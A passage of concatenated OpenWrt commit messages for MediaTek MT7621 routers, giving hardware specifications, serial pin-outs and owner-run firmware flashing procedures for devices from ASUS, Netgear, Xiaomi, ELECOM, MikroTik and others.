> mtd-write -i
/tmp/openwrt-ramips-mt7621-asus_rt-ac65p-squashfs-factory.bin -d linux
6. Reboot the router
> reboot
Changelog:
v3: removed [] from filename, rebased to latest master
v2: Rebased to latest master
v1: Initial release
Signed-off-by: Gabor Varga <vargagab@gmail.com>
Device node names were updated, but updating TARGET_DEVICES
was overlooked.
Fixes: 4408723d42 ("ramips: remove RAM size from device name
for UniElec devices")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
UniElec devices are the last ones in ramips target still having
the RAM size in device name although RAM size is auto-detected.
Remove this from device name, compatible, etc., as it's not
required and might be misleading to users and developers adding
device support copying those devices.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The Phicomm KE 2P is identical to the already supported Phicomm K2P,
renamed for the European market. Use the ALT0 buildroot tags to show
both devices.
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
Spelling of Zbtlink varies across image definitions and DTS files.
This patch uses Zbtlink consistently and also updates the model
in DTS files to contain the vendor in all cases.
This patch is cosmetical, as there should be no dependencies on
device model name in ramips anymore.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
I-O DATA WNPR2600G has an "elx-header", so move this definition to
generic makefile to use it from mt7621 subtarget.
This definition is also added to mt7621.mk in
f285e8634c, so remove it from mt7621.mk.
And added a line to cleanup used header file.
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
Hardware:
SoC: MT7621A
Flash: 32 MiB
RAM: 512 MiB
Ethernet: built-in switch
USB: 1x USB3.0
SATA: ASM1060, 1 SATA port
Flash instruction (TFTP):
1. Set PC to fixed ip address 192.168.173.22
2. Download *-sysupgrade.bin image and rename it to firmware.img
3. Start a tftp server with the image file in its root directory
4. Turn off the router
5. Turn on router,press the reset button and wait ~15 seconds
6. Release the reset button and after a short time
the firmware should be transferred from the tftp server
7. Wait ~3 minutes to complete recovery.
Signed-off-by: Qi Jiang <rushx@live.cn>
[squash commits, add label-mac-device, fix sign-off style]
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
SoC: Mediatek MT7621A
CPU: 4x 880Mhz
Cache: 32 KB I-Cache and 32 KB D-Cach
256 KB L2 Cache (shared by Dual-Core)
RAM: DDR3 512MB 16bits BUS
FLASH: 16MB
Switch: Mediatek Gigabit Switch (2 x LAN, 1 x WAN)
POE: (1x PD, 2x PSE)
USB: 1x 3.0
PCI: 3x Mini PCIe (3 USB2.0 + 2 x UIM interface)
GPS: Quectel L70B
SIM: 2 Slots
BTN: Reset
LED: - Power
- Ethernet
- Wifi
- USB
UART: UART is present as Pads with throughholes on the PCB.
They are located on left side.
3.3V - RX - GND - TX / 57600-8N1
3.3V is the square pad
Installation
------------
The stock image is a modified openwrt and can be overflashed via sysupgrade -F
Signed-off-by: Daniel Danzberger <daniel@dd-wrt.com>
[merge conflict in mt7621.mk]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
SoC: MediaTek MT7621AT dual-core @ 880MHz
RAM: 256M (Winbond W632GG6KB-1)
FLASH: 128MB (Macronix MX30LF1G18AC-TI)
WiFi: - 2.4GHz MediaTek MT7615N bgn
- 5GHz MediaTek MT7615N nac
Switch: SoC integrated Gigabit Switch (4 x LAN, 1 x WAN)
USB: 1 x USB 3.1 (Gen 1)
BTN: Reset, WPS
LED: - Power (blue)
- 5Ghz (blue)
- 2.4GHz (blue)
- Internet (blue)
- 4x LAN (blue)
(LAN/WAN leds are not controllable by GPIOs)
UART: UART is present as Pads marked J4 on the PCB.
3.3V - TX - RX - GND / 57600-8N1
3.3V is the square pad
MAC: The MAC address on the router-label matches the MAC of
the 2.4 GHz WiFi.
LAN and WAN MAC are identical: MAC_LABEL+4
5 GHz WiFi MAC: also MAC_LABEL+4
Installation
------------
Via U-Boot tftpd:
Switch on device, within 2s press reset button and keep pressed
until power LED starts blinking slowly.
Upload factory image via tftp put, the router's ip is 192.168.1.1
and expects the client on 192.168.1.75.
The images also work on the Asus RT-AC65P models as tested by Gabor.
Signed-off-by: Birger Koblitz <mail@birger-koblitz.de>
Tested-by: Gabor Varga <vargagab@gmail.com>
[fixed Asus -> ASUS in DTS]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
SoC: MediaTek MT7621AT dual-core @ 880MHz
RAM: 256M (Nanya NT5CC128M)
FLASH: 16MB (Macronix MX25L12835F)
WiFi: - 2.4GHz MediaTek MT7615N bgn
- 5GHz MediaTek MT7615N nac
Switch: SoC integrated Gigabit Switch (4 x LAN, 1 x WAN)
USB: No
BTN: Reset, WPS
LED: 4 red LEDs, indistinguishable when casing closed
UART: UART is present as Pads marked J1 on the PCB.
3.3V - RX - GND - TX / 57600-8N1
3.3V is the square pad
Installation
------------
Update the factory image via the OEM web-interface
(by default:http://192.168.1.1)
The sysupgrade image can be installed via TFTP from
the U-Boot bootloader. Connect ethernet port 2.
Signed-off-by: Birger Koblitz <mail@birger-koblitz.de>
[flash node rename, EDIMAX -> Edimax, complete device model name]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
As Netgear uses the same image for R6260, R6350 & R6850
we can merge device tree files and generate separate
images for each device.
Signed-off-by: Christoph Krapp <achterin@googlemail.com>
[add missing WiFi compatible string, fix network
configuration]
Signed-off-by: David Bauer <mail@david-bauer.net>
This adds factory image generation for all three
devices. These images can be flashed via WebUI
for easy installation.
Thanks to David Bauer for the inspiration.
Signed-off-by: Christoph Krapp <achterin@googlemail.com>
[altered commit to only include the R6350]
Signed-off-by: David Bauer <mail@david-bauer.net>
This adds an easy-installation factory image for the NETGEAR R6220
router. The factory image can either be flashed via the vendor Web-UI or
the bootloader using nmrpflash.
Tested with NETGEAR V1.1.0.86 firmware.
Signed-off-by: David Bauer <mail@david-bauer.net>
SoC: MT7621AT
RAM: 256MB
Flash: 16M SPI
Ethernet: 5x GE ports
WiFi: 2.4G: MT7615N
5G: MT7615N
Flash instruction:
1.Modify the file to linux.bin
2.Set up FTP service
3.Computer settings fixed IP: 192.168.179.50 255.255.255.0
4.Turn on the power and press and hold the reset button until the indicator light is on for about 5 seconds.
Signed-off-by: Zhenjian Zhang <itdesk.zhang@gmail.com>
[fix mac location]
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
Revert "mac80211: add new minstrel_ht patches to improve probing on mt76x2" (9861050b85)
Revert "kernel: use bulk free in kfree_skb_list to improve performance" (98b654de2e)
Revert "ramips: add preliminary support for WIO ONE" (085141dc5b)
Revert "ramips: add preliminary support for SGE AP-MTKH7-0006 developer board" (b1db6d0539)
Revert "build: use config.site generated by autoconf-lean, drop hardcoded sitefiles" (363ce4329d)
Revert "toolchain: add autoconf-lean" (fdb30eed03)
Revert "build: allow overriding the filename on the remote server when downloading" (6fa0e07758)
Signed-off-by: Felix Fietkau <nbd@nbd.name>
This cosmetical patch is just meant to make comparing/checking
IMAGE_SIZE values easier.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
There are frequent examples of the ralink_default_fw_size_xxx
variables being used to "roughly" set flash size without caring
about the actual size of the firmware partition.
To discourage this behavior, this patch removes the variables and
just sets IMAGE_SIZE by its numeric value for each target.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Currently, ramips target defines 0x7b0000 as default IMAGE_SIZE
for all devices in ramips target, i.e. this will be set if a
device does not specify IMAGE_SIZE itself.
From 92 devices using that default due to a "missing" IMAGE_SIZE,
14 were incorrect by a small amount (i.e. still "8M" flash) and
12 were completely off ("16M", "4M", ...).
This patch thus removes the _default_ IMAGE_SIZE and defines
IMAGE_SIZE for each device individually. This should indicate to
people supporting new devices that this parameter has to be cared
about.
For the present code, this patch is cosmetical.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
In ramips, there are the following predefined values for IMAGE_SIZE
ralink_default_fw_size_4M 3866624 3776k 0x3B0000
ralink_default_fw_size_8M 8060928 7872k 0x7B0000
ralink_default_fw_size_16M 16121856 15744k 0xF60000
ralink_default_fw_size_32M 33226752 32448k 0x1FB0000
Out of those, the "16M" value is obviously odd, as it provides more
room for the remaining partitions than the tree others.
Of the devices in all subtargets, there are actually > 50 that have
a firmware partition with 0xFB0000 size, while only 5 (!) have
0xF60000. From the former, many are set to
ralink_default_fw_size_16M anyway, although it is wrong at the
present point.
Consequently, it makes sense to change ralink_default_fw_size_16M
to 0xFB0000, and to update IMAGE_SIZE for the 5 devices with
0xF60000.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Now that the mt76 driver supports the MT7615D chip found on these
devices, use it.
Also add the wpad-basic package.
Note: the driver supports operation on both the 2.4 GHz and the
5 GHz bands, but not yet concurrently.
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
Newifi D1 is shipped with an 8GB microSD card in its SD slot
Without SD driver users would not be able to use it unless manually installed
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
TP-Link RE650 v1 is a dual-band AC2600 range extender,
based on MediaTek MT7621A and MT7615E. According to the
wikidevi entry for RE650 this device is identical with
TP-Link RE500 as hardware. This patch supports only RE650.
Hardware specification:
- SoC 880 MHz - MediaTek MT7621AT
- 128 MB of DDR3 RAM
- 16 MB - Winbond 25Q128FVSG
- 4T4R 2.4 GHz - MediaTek MT7615E
- 4T4R 5 GHz - MediaTek MT7615E
- 1x 1 Gbps Ethernet - MT7621AT integrated
- 7x LEDs (Power, 2G, 5G, WPS(x2), Lan(x2))
- 4x buttons (Reset, Power, WPS, LED)
- UART header (J1) - 2:GND, 3:RX, 4:TX
Serial console @ 57600,8n1
Flash instructions:
Upload
openwrt-ramips-mt7621-tplink_re650-v1-squashfs-factory.bin
from the RE650 web interface.
TFTP recovery to stock firmware:
Unfortunately, I can't find an easy way to recover the RE
without opening the device and using modified binaries. The
TFTP upload will only work if selected from u-boot, which
means you have to open the device and attach to the serial
console. The TFTP update procedure does *not* accept the
published vendor firmware binaries. However, it allows to
flash kernel + rootfs binaries, and this works if you have
a backup of the original contents of the flash. It's probably
possible to create special image out of the vendor binaries
and use that as recovery image.
Signed-off-by: Georgi Vlaev <georgi.vlaev@gmail.com>
[re-added variables for kernel header]
Signed-off-by: David Bauer <mail@david-bauer.net>
ELECOM WRC-1167GHBK2-S has a MediaTek MT7615D chip for 2.4/5 GHz
wireless.
A driver package for MT7615 chip is added to OpenWrt in
a0e5ca4f35,
so add preliminary MT7615 chip support for WRC-1167GHBK2-S.
Note: Currently, DBDC mode for MT7615 is not supported in mt76 driver.
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
SoC: MediaTek MT7621AT
RAM: 128M (Winbond W631GG6KB-15)
FLASH: 16MB (Spansion S25FL128SA)
WiFi: MediaTek MT7603EN bgn 2SS
WiFi: MediaTek MT7612EN nac 2SS
BTN: Reset - WPS
LED: - Power
- LAN {1-4}
- WAN
- WiFi 2.4 GHz
- WiFi 5 GHz
- USB
UART: UART is present next to the Power LED.
TX - RX - GND - 3V3 / 57600-8N1
3V3 is the nearest one to the Power LED.
Installation
------------
Via TFTP:
1. Set your computers IP-Address to 192.168.1.75.
2. Power up the Router with the Reset button pressed.
3. Release the Reset button after 5 seconds.
4. Upload OpenWRT sysupgrade image via TFTP:
> tftp -4 -v -m binary 192.168.1.1 -c put <IMAGE>
Via SSH:
Note: User/password for SSH is identical with the one used in the
Web-interface.
1. Complete the initial setup wizard.
2. Activate SSH under "Administration" -> "System".
3. Transfer the OpenWrt sysupgrade image via scp:
> scp owrt.bin admin@192.168.1.1:/tmp
4. Connect via SSH to the router.
> ssh admin@192.168.1.1
5. Write the OpenWrt image to flash.
> mtd-write -i /tmp/owrt.bin -d linux
6. Reboot the router
> reboot
Signed-off-by: David Bauer <mail@david-bauer.net>
This patch applies sorting to the definitions as whole blocks.
Sorting has been performed fully automatic, line count differences
originate from double empty lines removed.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
As introduced with ath79, DTS files for ramips will now be labelled
soc_vendor_device.dts(i). With this change, DTS files can be
selected automatically without further manual links.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Upstream kernel added support for RAW_APPENDED_DTB on ralink arch
in the following commit:
02564fc89d3d ("ralink: Introduce fw_passed_dtb to arch/mips/ralink")
Use upstream solution and get rid of our OWRTDTB hack.
This commit set DEVICE_DTS to $$(DTS) instead of replacing DTS with
DEVICE_DTS in device profile because DTS variable will be dropped
in later commits.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
[Tested on mt7621/mt76x8]
Tested-by: Chuanhong Guo <gch981213@gmail.com>
[Tested on rt305x/mt7620]
Tested-by: INAGAKI Hiroshi <musashino.open@gmail.com>
Hardware specs:
SoC: Mediatek MT7621A
CPU: 4x 880Mhz
Cache: 32 KB I-Cache and 32 KB D-Cach
256 KB L2 Cache (shared by Dual-Core)
RAM: DDR3 512MB 16bits BUS
FLASH: 16MB
Switch: Mediatek Gigabit Switch (1 x LAN, 1 x WAN)
USB: 1x 3.0
PCI: 3x Mini PCIe
GPS: Quectel L70B
BTN: Reset
LED: - Power
- Ethernet
- Wifi
- USB
UART: UART is present as Pads with throughholes on the PCB.
They are located on left side.
3.3V - RX - GND - TX / 57600-8N1
3.3V is the square pad
Installation:
The stock image is a modified openwrt and can be overflashed via
# sysupgrade -F image.bin
Signed-off-by: Daniel Danzberger <daniel@dd-wrt.com>
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
[removed unused label, formatting]
The R6220 and WNDR3700v5 are identical apart from using NAND/NOR flash and
having a different casing. This adds a new cleaned up R6220.dtsi with the
common bits for both devices. Both devices now have feature parity.
Performed cleanup:
* generic DTS node names
* regulator for usb power
* added missing pinctrl groups
* use switch port instead of VLAN as trigger for WAN LED
Fixes for WNDR3700v5:
* all LEDS work
* correct ethernet MAC addresses
Signed-off-by: Jan Hoffmann <jan@3e8.eu>
This uses the existing rules for Sercomm factory images and moves them
to the ramips image Makefile, so they can be used in all subtargets.
The new factory image for WNDR3700v5 can be flashed using nmrpflash.
Signed-off-by: Jan Hoffmann <jan@3e8.eu>
Hardware spec:
CPU: MTK MT7621A
RAM: 256MB
ROM: 16MB SPI Flash
WiFi: MT7603EN + MT7612EN
Button: 2 buttons (reset, wps)
LED: 8 LEDs (Power 2G 5G WPS Internet LAN1 LAN2 USB)
Ethernet: 3 ports, 2 LAN + 1 WAN
Other: USB3.0
Flashing instructions:
Visit the openwrt forum topic for this router:
https://forum.openwrt.org/t/add-openwrt-support-for-youku-yk-l2/34692
to get the bootloader and unlock firmware.
0. upgrade your router with the telnet firmware via the
firmware upgrade page on the webui.
1. telnet 192.168.11.1 from your PC
2. Download the pb-boot-youku_l2-20190317-61b6d33.bin and transfer
it to the /tmp directory of the router.
3. mtd write /tmp/pb-boot-youku_l2-20190317-61b6d33.bin Bootloader
4. turn off the power
5. Push the reset button while turning on the router and
wait until LED start blinking (~10sec.)
6. Connect Ethernet port and goto http://192.168.1.1.
7. Upload the firmware to firmware restore page in webui.
Signed-off-by: Zhao Yu <574249312@qq.com>
Signed-off-by: Christian Lamparter <chunkeey@gmail.com> [rewrote the
flashing instructions, fixed author]
SoC: MediaTek MT7621
RAM: 64M (Winbond W9751G6KB-25)
FLASH: 16MB (Macronix MX25L12835F)
WiFi: MediaTek MT7662E bgn 2SS
WiFi: MediaTek MT7662E nac 2SS
BTN: ON/OFF - Reset - WPS - AP/Extender toggle
LED: - Arrow Right (blue)
- Arrow Left (blue)
- WiFi 1 (red/green)
- WiFi 2 (red/green)
- Power (green/amber)
- WPS (Green)
UART: UART is present as Pads on the backside of the PCB. They are
located on the other side of the Ethernet port.
3.3V - GND - TX - RX / 57600-8N1
3.3V is the nearest one to the antenna connectors
Installation
------------
Update the factory image via the Netgear web-interfaces (by default:
192.168.1.250/24).
You can also use the factory image with the nmrpflash tool.
For more information see https://github.com/jclehner/nmrpflash
Signed-off-by: David Bauer <mail@david-bauer.net>
[merge conflict in 02_network, flash@0 node rename, wlan DTS triggers]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
- Former "mir3g" board name becomes "xiaomi,mir3g".
- Reorder some entries to maintain alphabetical order.
- Change DTS so status LEDs (yellow/red/blue) mimic
Xiaomi stock firmware: (Section Indicator)
<http://files.xiaomi-mi.co.uk/files/router_pro/router%20PRO%20EN.pdf>
<http://files.xiaomi-mi.co.uk/files/Mi_WiFi_router_3/MiWiFi_router3_EN.pdf>
|Yellow: Update (LED flickering), the launch of the system (steady light);
|Blue: during normal operation (steady light);
|Red: Safe mode (display flicker), system failure (steady light);
Signed-off-by: Ozgur Can Leonard <ozgurcan@gmail.com>
[Added link to similar Router 3 model]
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Hardware:
CPU: MediaTek MT7621AT (2x880MHz)
RAM: 512MB DDR3
FLASH: 256MB NAND
WiFi: 2.4GHz 4x4 MT7615 b/g/n (Needs driver, See Issues!)
WiFI: 5GHz 4x4 MT7615 a/n/ac (Needs driver, See Issues!)
USB: 1x 3.0
ETH: 1x WAN 10/100/1000 3x LAN 10/100/1000
LED: Power/Status
BTN: RESET
UART: 115200 8n1
Partition layout and boot:
Stock Xiaomi firmware has the MTD split into (among others)
- kernel0 (@0x200000)
- kernel1 (@0x600000)
- rootfs0
- rootfs1
- overlay (ubi)
Xiaomi uboot expects to find kernels at 0x200000 & 0x600000
referred to as system 1 & system 2 respectively.
a kernel is considered suitable for handing control over
if its linux magic number exists & uImage CRC are correct.
If either of those conditions fail, a matching sys'n'_fail flag
is set in uboot env & a restart performed in the hope that the
alternate kernel is okay.
If neither kernel checksums ok and both are marked failed, system 2
is booted anyway.
Note uboot's tftp flash install writes the transferred
image to both kernel partitions.
Installation:
Similar to the Xiaomi MIR3G, we keep stock Xiaomi firmware in
kernel0 for ease of recovery, and install OpenWRT into kernel1 and
after.
The installation file for OpenWRT is a *squashfs-factory.bin file that
contains the kernel and a ubi partition. This is flashed as follows:
nvram set flag_try_sys1_failed=1
nvram set flag_try_sys2_failed=0
nvram commit
dd if=factory.bin bs=1M count=4 | mtd write - kernel1
dd if=factory.bin bs=1M skip=4 | mtd write - rootfs0
reboot
Reverting to stock:
The part of stock firmware we've kept in kernel0 allows us to run stock
recovery, which will re-flash stock firmware from a *.bin file on a USB.
For this we do the following:
fw_setenv flag_try_sys1_failed 0
fw_setenv flag_try_sys2_failed 1
reboot
After reboot the LED status light will blink red, at which point pressing
the 'reset' button will cause stock firmware to be installed from USB.
Issues:
OpenWRT currently does not have support for the MT7615 wifi chips. There is
ongoing work to add mt7615 support to the open source mt76 driver. Until that
support is in place, there are closed-source kernel modules that can be used.
See: https://forum.openwrt.org/t/support-for-xiaomi-wifi-r3p-pro/20290/170
Signed-off-by: Ozgur Can Leonard <ozgurcan@gmail.com>
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
[02_network remaps, Added link to notes]
The WeVo 11AC NAS has a MT7612E 802.11ac chip on the PCB.
Signed-off-by: Ju Se Hoon <joosahoon@gmail.com>
[renamed author from Albis-dev to real name, editted commit message]
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Always enable the pwr led and use the usr led for boot status indication.
Rename nodes in the dts, to match what is recommend in the devicetree
specification.
Increase the maximum spi frequency to 20MHz and drop the m25p,chunked-io
which isn't required on mt7621.
Use the BTN_0 keycode for the mode button. This board doesn't have any
wireless.
Use a more descriptive label for the reset button and the GPIO enabling
the usb vcc supply.
Use the beeper kernel module for the buzzer.
Fix the pinmux to switch only pins used as GPIOs to the GPIO function.
Add support for the PoE enable GPIO to the userspace. The PoE power
status can be read via GPIO7. Since OpenWrt doesn't have support for
reading inputs from userspace, prepare only the pinmux for the GPIO.
Signed-off-by: Anton Arapov <arapov@gmail.com>
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
Signed-off-by: Mathias Kresin <dev@kresin.me>
This patch adds support of MikroTik RouterBOARD 750Gr3, without the need
to reflashing the bootloader.
Installation through RouterBoot follows the usual MikroTik method
https://openwrt.org/toh/mikrotik/common
Since the image isn't compatible with RouterBOARD 750Gr3 installations
which have replaced the bootloader, the former used userspace boardname
is not added to the SUPPORTED_DEVICES, to prevent a brick while trying
to upgrade to the image with native support.
Signed-off-by: Anton Arapov <arapov@gmail.com>
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
Signed-off-by: Mathias Kresin <dev@kresin.me>
Create a common template which has the required image build code
defined. Add some new variables to pass individual parts to the seama
recipes.
Signed-off-by: Mathias Kresin <dev@kresin.me>
Specs
SoC: MT7621AT
RAM: 512MiB
Flash: 32MiB MX25L25635F SPI NOR
2.4G: MT7603EN
5G: MT7612EN
Ethernet: 4x GE ports (1x WAN, 3x LAN) with link status LEDs
USB 3.0
LEDs: POWER, 5G WIFI, 2.4G WIFI, USB, Internet.
The last two ones are controlled by GPIO
UART: There are 2 UARTs (UARTLITE1/ttyS0 and UARTLITE3/ttyS1) on board.
UARTLITE1 is close to LEDs, and UARTLITE3 is close to flash chip.
The stock u-boot uses UARTLITE1 by default. Baud rate is 57600
Flash instruction
1. telnet 192.168.9.1 2317, username is "root" and password is "admin"
One can alternatively use UART to log in
2. Put OpenWrt firmware in a FAT32 USB drive, and connect it to the router
One can alternatively download the firmware via wget through Internet
3. mtd write /path/to/openwrt.bin firmware
4. reboot
Signed-off-by: Deng Qingfang <dengqf6@mail2.sysu.edu.cn>
Netgear R6350 is a wireless router, aka Netgear AC1750.
Specification:
- SoC: Mediatek MT7621AT (2 CPU cores, 4 threads)
- RAM: 128MiB (Nanya NT5CC64M16GP-DI)
- ROM: 128MiB NAND Flash (Macronix MX30LF1G18AC-TI)
- Wireless:
for 11b/g/n (upto 300Mbps): MT7603
for 11a/ac (upto 1450Mbps) : MT7615, is not avaliable now
- Ethernet LAN speed: up to 1000Mbps
- Ethernet LAN ports: 4
- Ethernet WAN speed: up to 1000Mbps
- Ethernet WAN ports: 1
- USB ports: 1 (USB 2.0)
- LEDs: 4 (all can be controlled by SoC's GPIO)
- buttons: 2
- serial ports: unknown
Installation through telnet:
- Copy kernel.bin and rootfs.bin to a USB flash disk,
plug to usb port on the router.
- Enable telnet with link: http://192.168.1.1/setup.cgi?todo=debug
(login if required, default: admin password)
- You will see "Debug Enabled!"
- Telnet 192.168.1.1 and login with "root"
- ls /mnt/shares/ to find out path of your USB disk.
'myUdisk' for example.
- cd /mnt/shares/myUdisk
- mtd_write write rootfs.bin Rootfs
- mtd_write write kernel.bin Kernel
- reboot
recovery when bricked:
nmrpflash can be used to recover to the netgear firmware
if a broken image was flashed.
The SC_PART_MAP partition suggests that an on flash partition table
exists. After implementing a partition parser/builder for the sercom
partition format, the definitions don't match the flash layout used by
the stock firmware.
It either means the partition format has not yet been completely
understood or it isn't used by the stock firmware. For now, use fixed
partitions instead.
Signed-off-by: NOGUCHI Hiroshi <drvlabo@gmail.com>
[apply latest ramips changes and document the on flash partition map
issues]
Signed-off-by: Mathias Kresin <dev@kresin.me>
Compile the loader if the relocate-kernel image recipe is used and get
rid of the legacy build code to do so.
Signed-off-by: Mathias Kresin <dev@kresin.me>
MTC Wireless Router WR1201 is the OEM name of the board. It is also sold
rebranded as STRONG Dual Band Gigabit Router 1200.
Specification:
- SoC: MediaTek MT7621A (880 MHz)
- Flash: 16 MiB
- RAM: 128 MiB
- Wireless: 2.4Ghz(MT7602EN) and 5Ghz (MT7612EN)
- Ethernet speed: 10/100/1000
- Ethernet ports: 4+1
- 1x USB 3.0
- 1x microSD reader
- Serial baud rate of Bootloader and factory firmware: 57600
The OEM webinterface writes only as much bytes as listed in the
uImage header field to the flash. Also, the OEM webinterface
evaluates the name field of uImage header before flashing (the
string "WR1201_8_128")
To flash via webinterface, is mandatory to use first initramfs.bin
and after (from the OpenWrt) the sysupgrade.bin
Some notes:
- Some microSD will not work:
mtk-sd 1e130000.sdhci: no support for card's volts
mmc0: error -22 whilst initialising SDIO card
mtk-sd 1e130000.sdhci: no support for card's volts
mmc0: error -22 whilst initialising MMC card
mtk-sd 1e130000.sdhci: no support for card's volts
mmc0: error -22 whilst initialising SDIO card
mtk-sd 1e130000.sdhci: card claims to support voltages below defined range
mtk-sd 1e130000.sdhci: no support for card's volts
mmc0: error -22 whilst initialising MMC card
mtk-sd 1e130000.sdhci: no support for card's volts
mmc0: error -22 whilst initialising SDIO card
mtk-sd 1e130000.sdhci: no support for card's volts
mmc0: error -22 whilst initialising MMC card
Signed-off-by: Valentín Kivachuk <vk18496@gmail.com>
Use .bin as file extension where possible. The user doesn't need to that
sysupgrade images for NAND boards are tarballs.
Signed-off-by: Mathias Kresin <dev@kresin.me>
Add support for UniElec U7621-06 variant with 512MB RAM and 64MB flash.
Additional specs are below:
CPU: MT7621 (880Mhz)
Bootloader: Ralink U-Boot
Flash: 64MB
- U-Boot identifies as Macronix MX66L51235F
- kernel identifies as MX66L51235l (65536 Kbytes)
RAM: 512MB
Rest of the details as per commit 46ab81e405 ("ramips add support for
UniElec U7621-06")
Signed-off-by: Nishant Sharma <nishant@unmukti.in>
[use generic board detection, add firmware partition compatible, extend
firmware partition to use all of the remaining flash space, add a
maximum image size matching the firmware partition size]
Signed-off-by: Mathias Kresin <dev@kresin.me>
Use the generic board detection for the board instead of the target
specific one. Mark the sysupgrade image compatible with the former used
userspace boardname to allow an upgrade from earlier versions.
Signed-off-by: Mathias Kresin <dev@kresin.me>
Add out of the box support for 802.11r and 802.11w to all targets not
suffering from small flash.
Signed-off-by: Mathias Kresin <dev@kresin.me>
Mathias did all the heavy lifting on this, but I'm the one who should
get shouted at for committing.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
The changed dictionary size leads to a different LZMA header which breaks
sysupgrade image magic checkibng on at least some RT288x boards.
Since the commit message only mentions testing on MT7621 and since the
change appears to break at least one other ramips subtarget, do not take
any chances and restrict the size limitation to only MT7621.
Fixes FS#1797
Fixes 09b6755946 ("ramips: limit dictionary size for lzma compression")
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
ELECOM WRC-1900GST is a wireless router, based on Mediatek MT7621A.
This is almost same as WRC-2533GST except wireless specs.
Specifications:
- SoC : MT7621A (four logical CPU cores)
- RAM : 128MiB
- ROM : 16MiB of SPI NOR-FLASH
- wireless :
5GHz : 3T3R up to 1300Mbps/11ac with MT7615
2.4GHz : 3T3R up to 600Mbps/11n with MT7615
- Ethernet : 5 ports, all ports is capable of 1000base-T
- Ether switch : MT7530 (MT7621A built-in)
- LEDs : 4 LEDs
- buttons : 2 buttons and 1 slide-switch
- UART : header is on PCB, 57600bps
Flash instruction using factory image:
1. Connect the computer to the LAN port of WRC-1900GST
2. Connect power cable to WRC-1900GST and turn on it
3. Access to "https://192.168.2.1/" and open firmware update
page ("ファームウェア更新")
4. Select the OpenWrt factory image and click apply ("適用")
button
5. Wait ~150 seconds to complete flashing
Signed-off-by: NOGUCHI Hiroshi <drvlabo@gmail.com>
ELECOM WRC-2533GST is a 2.4/5 GHz band 11ac rotuer, based on
MediaTek MT7621A.
Specification:
- MT7621A (2-Core, 4-Threads)
- 128 MB of RAM (DDR3)
- 16 MB of Flash (SPI)
- 4T4R 2.4/5 GHz wifi
- MediaTek MT7615
- 5x 10/100/1000 Mbps Ethernet
- 4x LEDs, 6 keys (2x buttons, 1x slide switch)
- UART header on PCB
- Vcc, GND, TX, RX from ethernet port side
- baudrate: 57600 bps
Flash instruction using factory image:
1. Connect the computer to the LAN port of WRC-2533GST
2. Connect power cable to WRC-2533GST and turn on it
3. Access to "https://192.168.2.1/" and open firmware update
page ("ファームウェア更新")
4. Select the OpenWrt factory image and click apply ("適用")
button
5. Wait ~150 seconds to complete flashing
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
All these devices share the exact same image format.
The usb3 kmod is added for the rbm11g, as the rbm11g has a mini-pcie
slot like its bigger sibling. The usb kmod is necessary for
usb-over-pcie support, which is mandatory for a lot of LTE modules.
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
I-O DATA WN-AX1167GR is a 2.4/5 GHz band 11ac router, based on
MediaTek MT7621A.
Specification:
- MT7621A (2-Cores, 4-Threads)
- 64 MB of RAM (DDR2)
- 16 MB of Flash (SPI)
- 2T2R 2.4/5 GHz
- 5x 10/100/1000 Mbps Ethernet
- 2x LEDs, 4x keys (2x buttons, 1x slide switch)
- UART header on PCB
- Vcc, GND, TX, RX from ethernet port side
- baudrate: 115200 bps (U-Boot, OpenWrt)
Stock firmware:
In the stock firmware, WN-AX1167GR has two os images each composed of
Linux kernel and rootfs.
These images are stored in "Kernel" and "app" partition of the
following partitions, respectively.
(excerpt from dmesg):
MX25L12805D(c2 2018c220) (16384 Kbytes)
mtd .name = raspi, .size = 0x01000000 (16M) .erasesize = 0x00010000 (64K) .numeraseregions = 0
Creating 10 MTD partitions on "raspi":
0x000000000000-0x000001000000 : "ALL"
0x000000000000-0x000000030000 : "Bootloader"
0x000000030000-0x000000040000 : "Config "
0x000000040000-0x000000050000 : "Factory"
0x000000050000-0x000000060000 : "iNIC_rf"
0x000000060000-0x0000007e0000 : "Kernel"
0x000000800000-0x000000f80000 : "app"
0x000000f90000-0x000000fa0000 : "Key"
0x000000fa0000-0x000000fb0000 : "backup"
0x000000fb0000-0x000001000000 : "storage"
The flag for boot partition is stored in "Key" partition, and U-Boot
reads this and determines the partition to boot.
If the image that U-Boot first reads according to the flag is
"Bad Magic Number", U-Boot then tries to boot from the other image.
If the second image is correct, change the flag to the number
corresponding to that image and boot from that image.
(example):
## Booting image at bc800000 ...
Bad Magic Number,FFFFFFFF
Boot from KERNEL 1 !!
## Booting image at bc060000 ...
Image Name: MIPS OpenWrt Linux-4.14.50
Image Type: MIPS Linux kernel Image (lzma compressed)
